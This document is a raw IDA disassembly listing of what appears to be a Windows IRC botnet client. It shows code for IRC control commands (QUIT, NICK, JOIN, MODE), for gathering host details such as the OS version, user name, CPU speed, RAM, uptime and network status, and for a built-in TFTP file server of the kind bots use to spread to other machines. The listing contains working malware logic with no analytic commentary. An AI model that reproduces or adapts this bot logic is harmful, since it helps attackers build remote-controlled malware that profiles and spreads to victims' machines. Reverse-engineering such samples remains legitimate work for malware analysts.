		jmp	loc_4091FE
; ---------------------------------------------------------------------------


loc_409D72:				; CODE XREF: sub_406BAB+D73j
					; sub_406BAB+D88j
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		jz	short loc_409DA4
		cmp	[ebp+var_C], ebx
		jz	short loc_409DB3
		push	esi
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409DB3
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 0Ch
		jmp	short loc_409DB3
; ---------------------------------------------------------------------------


loc_409DA4:				; CODE XREF: sub_406BAB+31D0j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		pop	ecx


loc_409DB3:				; CODE XREF: sub_406BAB+31D5j
					; sub_406BAB+31E4j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_409DBB:				; CODE XREF: sub_406BAB+D49j
					; sub_406BAB+D5Ej
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		or	eax, 0FFFFFFFFh
		pop	ecx
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_409DD2:				; CODE XREF: sub_406BAB+D1Fj
					; sub_406BAB+D34j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		xor	eax, eax
		pop	ecx
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_409DE8:				; CODE XREF: sub_406BAB+CF5j
					; sub_406BAB+D0Aj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401000


loc_409DF9:				; CODE XREF: sub_406BAB+22CDj
					; sub_406BAB+3060j
		add	esp, 0Ch
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_409E01:				; CODE XREF: sub_406BAB+C79j
					; sub_406BAB+C8Ej
		push	[ebp+esi+var_A0]
		push	1Ch
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "PROC	"


loc_409E14:				; CODE XREF: sub_406BAB+C13j
					; sub_406BAB+C3Cj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_40ACDC
		add	esp, 20h
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: sub_406BAB+BD4j
					; sub_406BAB+BE9j
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		jz	short loc_409E83
		push	esi
		call	sub_40C3AF
		cmp	eax, ebx
		pop	ecx
		jl	short loc_409E7B
		cmp	eax, 2
		jge	short loc_409E7B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_409E73
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D888
		push	eax
		call	sub_40B0B3
		mov	[esi], bl
		jmp	short loc_409ECC
; ---------------------------------------------------------------------------


loc_409E73:				; CODE XREF: sub_406BAB+32ADj
		push	eax
		push	offset unk_41C7F4
		jmp	short loc_409EC0
; ---------------------------------------------------------------------------


loc_409E7B:				; CODE XREF: sub_406BAB+3299j
					; sub_406BAB+329Ej
		push	eax
		push	offset unk_41C7C4
		jmp	short loc_409EC0
; ---------------------------------------------------------------------------


loc_409E83:				; CODE XREF: sub_406BAB+328Ej
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409E88:				; CODE XREF: sub_406BAB+32F9j
		push	[ebp+var_A4]
		push	edi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409EAB
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_409E88
		jmp	loc_408A6A
; ---------------------------------------------------------------------------


loc_409EAB:				; CODE XREF: sub_406BAB+32EDj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset unk_41D888


loc_409EC0:				; CODE XREF: sub_406BAB+27D7j
					; sub_406BAB+2D11j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3


loc_409ECC:				; CODE XREF: sub_406BAB+32C6j
		add	esp, 0Ch
		jmp	loc_408A6A
; ---------------------------------------------------------------------------


loc_409ED4:				; CODE XREF: sub_406BAB+BAAj
					; sub_406BAB+BBFj
		push	[ebp+var_A0]
		push	offset dword_41D834
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409F32
		call	sub_40AC17
		push	ebx
		call	dword_41706C	; ExitProcess


loc_409EF6:				; CODE XREF: sub_406BAB+B80j
					; sub_406BAB+B95j
		push	[ebp+esi+var_A0]
		xor	eax, eax
		cmp	[ebp+var_904], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_54C]
		push	dword_41C0F0
		push	eax
		call	sub_4061FA
		lea	eax, [ebp+var_54C]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 1Ch


loc_409F32:				; CODE XREF: sub_406BAB+60Fj
					; sub_406BAB+61Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_409F3A:				; CODE XREF: sub_406BAB+69Cj
					; sub_406BAB+6B1j
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_406FF9
		cmp	[ebp+var_A8], ebx
		jnz	loc_406FF9
		push	offset asc_41D8F8 ; "!"
		push	[ebp+var_A4]
		call	sub_40D07C
		mov	esi, eax
		push	offset dword_42226C
		push	ebx
		inc	esi
		call	sub_40D07C
		push	offset asc_41C7C0 ; "~"
		push	eax
		call	sub_40D07C
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aSock	; "sock"
		call	sub_40C250
		add	esp, 20h
		test	eax, eax
		jz	short loc_409FE2
		lea	eax, [ebp+var_C8]
		push	edi
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	edi
		push	esi
		push	offset unk_41C758


loc_409FCE:				; CODE XREF: sub_406BAB+3490j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		add	esp, 30h
		jmp	loc_408A8B
; ---------------------------------------------------------------------------


loc_409FE2:				; CODE XREF: sub_406BAB+33EAj
		mov	[ebp+arg_24], ebx


loc_409FE5:				; CODE XREF: sub_406BAB+3457j
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_41C200[eax]
		call	sub_40ADA7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A03D
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_409FE5
		lea	eax, [ebp+var_C8]
		push	edi
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	edi
		push	esi
		push	offset unk_41C728
		jmp	short loc_409FCE
; ---------------------------------------------------------------------------


loc_40A03D:				; CODE XREF: sub_406BAB+344Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40A042:				; CODE XREF: sub_406BAB+34B8j
		cmp	[edi], bl
		jnz	short loc_40A059
		push	[ebp+arg_10]
		push	offset aSock	; "sock"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A06A


loc_40A059:				; CODE XREF: sub_406BAB+3499j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A042
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_40A06A:				; CODE XREF: sub_406BAB+34ACj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_874]
		push	7Fh
		push	eax
		push	esi
		call	sub_40B110
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406FF9
		push	ebx
		push	[ebp+var_4]
		push	offset unk_41C704


loc_40A094:				; CODE XREF: sub_406BAB+2ED1j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_40A0AA:				; CODE XREF: sub_406BAB+1F9j
					; sub_406BAB+20Ej
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 2Ch
		mov	dword_47F8B0, edi
		jmp	loc_406E33
sub_406BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0F0	proc near		; CODE XREF: sub_401000+74p
					; sub_406BAB+2E6Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41705C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_47F8B8
		push	32h
		push	esi
		call	sub_40BDE7
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40A0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A143	proc near		; CODE XREF: sub_40A1F9+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40A14B:				; CODE XREF: sub_40A143+2Fj
					; sub_40A143+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_417040	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_40C810
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_40A14B
		jb	short loc_40A17A
		cmp	ebx, edi
		ja	short loc_40A14B


loc_40A17A:				; CODE XREF: sub_40A143+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_40C880
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40A1ED
		jb	short loc_40A199
		cmp	edi, 50h
		jnb	short loc_40A19E


loc_40A199:				; CODE XREF: sub_40A143+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40A19E:				; CODE XREF: sub_40A143+54j
		test	ecx, ecx
		ja	short loc_40A1ED
		jb	short loc_40A1A9
		cmp	edi, 47h
		jnb	short loc_40A1AE


loc_40A1A9:				; CODE XREF: sub_40A143+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40A1AE:				; CODE XREF: sub_40A143+64j
		test	ecx, ecx
		ja	short loc_40A1ED
		jb	short loc_40A1B9
		cmp	edi, 37h
		jnb	short loc_40A1BE


loc_40A1B9:				; CODE XREF: sub_40A143+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40A1BE:				; CODE XREF: sub_40A143+74j
		test	ecx, ecx
		ja	short loc_40A1ED
		jb	short loc_40A1C9
		cmp	edi, 26h
		jnb	short loc_40A1CE


loc_40A1C9:				; CODE XREF: sub_40A143+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40A1CE:				; CODE XREF: sub_40A143+84j
		test	ecx, ecx
		ja	short loc_40A1ED
		jb	short loc_40A1D9
		cmp	edi, 1Eh
		jnb	short loc_40A1DE


loc_40A1D9:				; CODE XREF: sub_40A143+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40A1DE:				; CODE XREF: sub_40A143+94j
		test	ecx, ecx
		ja	short loc_40A1ED
		jb	short loc_40A1E9
		cmp	edi, 0Ah
		jnb	short loc_40A1ED


loc_40A1E9:				; CODE XREF: sub_40A143+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40A1ED:				; CODE XREF: sub_40A143+4Dj
					; sub_40A143+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40A143	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1F9	proc near		; CODE XREF: sub_406BAB+3016p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_422270
		mov	[ebp+var_CC], 94h
		call	dword_417000	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40A280
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40A25C
		cmp	[ebp+var_BC], 1
		jnz	short loc_40A246
		mov	[ebp+var_4], offset dword_41BF30


loc_40A246:				; CODE XREF: sub_40A1F9+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40A2FB
		mov	[ebp+var_4], offset dword_41BF2C
		jmp	short loc_40A2CC
; ---------------------------------------------------------------------------


loc_40A25C:				; CODE XREF: sub_40A1F9+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40A26E
		mov	[ebp+var_4], offset dword_41BF28
		jmp	short loc_40A2C3
; ---------------------------------------------------------------------------


loc_40A26E:				; CODE XREF: sub_40A1F9+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40A2BC
		mov	[ebp+var_4], offset dword_41BF24
		jmp	short loc_40A2C3
; ---------------------------------------------------------------------------


loc_40A280:				; CODE XREF: sub_40A1F9+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40A2BC
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40A29A
		mov	[ebp+var_4], offset dword_41BF20
		jmp	short loc_40A2C3
; ---------------------------------------------------------------------------


loc_40A29A:				; CODE XREF: sub_40A1F9+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40A2AC
		mov	[ebp+var_4], offset dword_41BF1C
		jmp	short loc_40A2C3
; ---------------------------------------------------------------------------


loc_40A2AC:				; CODE XREF: sub_40A1F9+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40A2C3


loc_40A2BC:				; CODE XREF: sub_40A1F9+7Cj
					; sub_40A1F9+8Ej
		mov	[ebp+var_4], offset dword_41BF14


loc_40A2C3:				; CODE XREF: sub_40A1F9+73j
					; sub_40A1F9+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40A2FB


loc_40A2CC:				; CODE XREF: sub_40A1F9+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40A2FB
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40A2FB:				; CODE XREF: sub_40A1F9+54j
					; sub_40A1F9+D1j ...
		mov	ax, word_41AF80
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_42B2D8
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_40A334
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40A334:				; CODE XREF: sub_40A1F9+12Cj
		push	[ebp+arg_4]
		call	sub_405752
		pop	ecx
		push	eax
		call	dword_42B410	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_42B390	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40A35D
		push	dword ptr [eax]
		jmp	short loc_40A362
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40A1F9+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40A362:				; CODE XREF: sub_40A1F9+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_40B0B3
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_417080	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_4170FC	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_4170F8	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4170F4	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_40D21A
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_403913
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A0F0
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_405752
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403804
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403804
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40A143
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_40BDE7
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A1F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AD	proc near		; CODE XREF: sub_406BAB+24C0p
					; sub_406BAB+3030p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		cmp	dword_42B4B0, 0
		jnz	short loc_40A521
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_42B2C0	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40A502
		lea	eax, [ebp+var_8C]
		push	offset dword_41DA78
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx


loc_40A502:				; CODE XREF: sub_40A4AD+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_40A51A
		push	offset dword_41DA70


loc_40A510:				; CODE XREF: sub_40A4AD+72j
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		jmp	short loc_40A540
; ---------------------------------------------------------------------------


loc_40A51A:				; CODE XREF: sub_40A4AD+5Cj
		push	offset dword_41DA6C
		jmp	short loc_40A510
; ---------------------------------------------------------------------------


loc_40A521:				; CODE XREF: sub_40A4AD+28j
		mov	esi, offset off_41DA68
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_40B0B3
		add	esp, 10h


loc_40A540:				; CODE XREF: sub_40A4AD+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_405752
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_40BDE7
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40A4AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A573	proc near		; CODE XREF: sub_40A573:loc_40AA48p
					; DATA XREF: sub_401141+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_42B450	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_40A636
		push	190h
		call	dword_417040	; Sleep
		call	dword_42B370	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_41DB1C
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_40A616
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		add	esp, 14h


loc_40A616:				; CODE XREF: sub_40A573+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		push	[ebp+var_170]
		call	sub_40AD6A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_417050	; ExitThread


loc_40A636:				; CODE XREF: sub_40A573+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_42CF6C[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_42B3D4	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_42B400	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A69B
		push	1388h
		call	dword_417040	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_40AA48
; ---------------------------------------------------------------------------


loc_40A69B:				; CODE XREF: sub_40A573+10Dj
		lea	eax, [ebp+var_378]
		push	offset dword_41AD40
		push	eax
		call	sub_40C7B8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_40A719
		push	190h
		call	dword_417040	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_41DAF4
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_404555
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_403145
		push	[ebp+var_170]
		call	sub_40AD6A
		add	esp, 28h
		push	ebx
		call	dword_417050	; ExitThread


loc_40A719:				; CODE XREF: sub_40A573+140j
		mov	esi, 200h


loc_40A71E:				; CODE XREF: sub_40A573+48Fj
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_40AA08
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_42B3BC	; select
		test	eax, eax
		jle	loc_40A9FC
		mov	al, byte_422270
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_42B3AC	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40B0B3
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_40A9E6
		cmp	[ebp+var_D7], 1
		jnz	loc_40A948
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40B5B0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40B5B0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_40D450
		add	esp, 14h
		test	eax, eax
		jnz	loc_40A902
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40B5B0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_40D450
		add	esp, 10h
		test	eax, eax
		jnz	loc_40A902
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_40D488
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_40C410
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_42B434	; sendto


loc_40A8A6:				; CODE XREF: sub_40A573+46Ej
		lea	eax, [ebp+var_378]
